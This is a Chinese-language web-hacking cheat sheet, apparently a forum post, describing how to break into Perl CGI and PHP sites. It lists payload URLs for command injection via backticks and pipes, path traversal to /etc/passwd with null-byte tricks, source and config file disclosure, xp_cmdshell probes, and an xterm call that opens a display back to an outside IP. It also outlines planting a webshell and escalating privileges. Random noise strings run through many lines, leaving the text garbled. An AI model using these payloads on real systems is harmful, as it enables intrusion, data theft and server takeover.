总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
; a* [& ~3 z7 e! G( |cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 6 ~! s( G& M+ R6 E0 l* x
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
" X* Z a/ ^) T注“ 0 x& v8 h3 j. o' K3 V/ t' c5 t9 `
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
v7 P/ k R2 R以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
0 i0 |3 u) k+ d( J/ H+ G3 k$ D5 S( A+ P3 G, X0 f. ?5 ^
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造
. J$ E: p3 C7 z% ~" ~+ Rhttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
& V1 Z. U0 _& [, Qhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 8 Z9 f) k, q3 o" q5 D7 Y9 y5 _
http://target.com/cgi-bin/home/news/sub.pl?`id`
7 f4 T% t( V' f7 f1 Yhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` . ~) I ]) v# b+ F' I
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
% I9 t7 ]7 O. L7 z! k; I; D& b' k8 v/ F
http://target.com/test.pl;ls| 7 f1 H2 S7 i7 \) \) g- E9 E& D$ {
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
2 Z) v* a2 |6 Vhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| }+ \8 O- k6 _& o8 S+ A1 u
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
7 D, S+ m- z- }% k% M6 T比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 ) @' E. `2 U5 s8 P# J( B
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
3 s2 E( J- f5 k! ]6 N# _, m6 g* b1 S( W& l8 q; n" a
http://target.com/test.pl?&........ /../../etc/passwd
7 V4 [) w- @& y, }
8 ] y/ M; I, O( `. thttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ . n! A7 b2 f) B V2 M
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
" k6 q' A8 v$ Y: ahttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
" A$ h; x) f, X5 H2 x* X/ b7 n
3 u0 ` A) }! f- r8 ?$ dhttp://www.target.org/show.php?f ... /include/config.php 查看php代码
$ K8 a' W, N. J6 Rhttp://www.target.org/show.php?f ... ng/admin/global.php
" [& F: P+ o1 J# M) _' E2 E9 w) w3 J( j/ N* l( t: B
emm和ps的一句话
+ l! `4 I9 n" V- L4 j5 k3 V! @. f+ _8 \6 S2 E
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
1 q2 W5 z$ S6 J' n' Y4 E0 f" ^
# P# g3 ?: L. g6 \1 c1 t9 n* y>bbb%20| 7 t9 s3 `* \2 Z6 E; |' v
' i. F7 f, ?9 W! t% O! A( }
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 # t8 [" ^! j/ {7 W- W* }
- D( L/ c2 U" @' {( rhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
7 H$ p9 z* J: J0 N fhttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
; y* K0 K/ D) [" v
( S7 [2 j7 s" s: Z相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 + G o2 n9 Y8 |1 z9 U4 G0 w N- @
http://target.com/index.html#cmd.exe
6 \, T8 O( F+ T, bhttp://target.com/index.html?dummyparam=xp_cmdshell
! K2 Q$ q( r) b* f, O& vlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd 9 U+ A; p0 G( Y& O5 J& K
|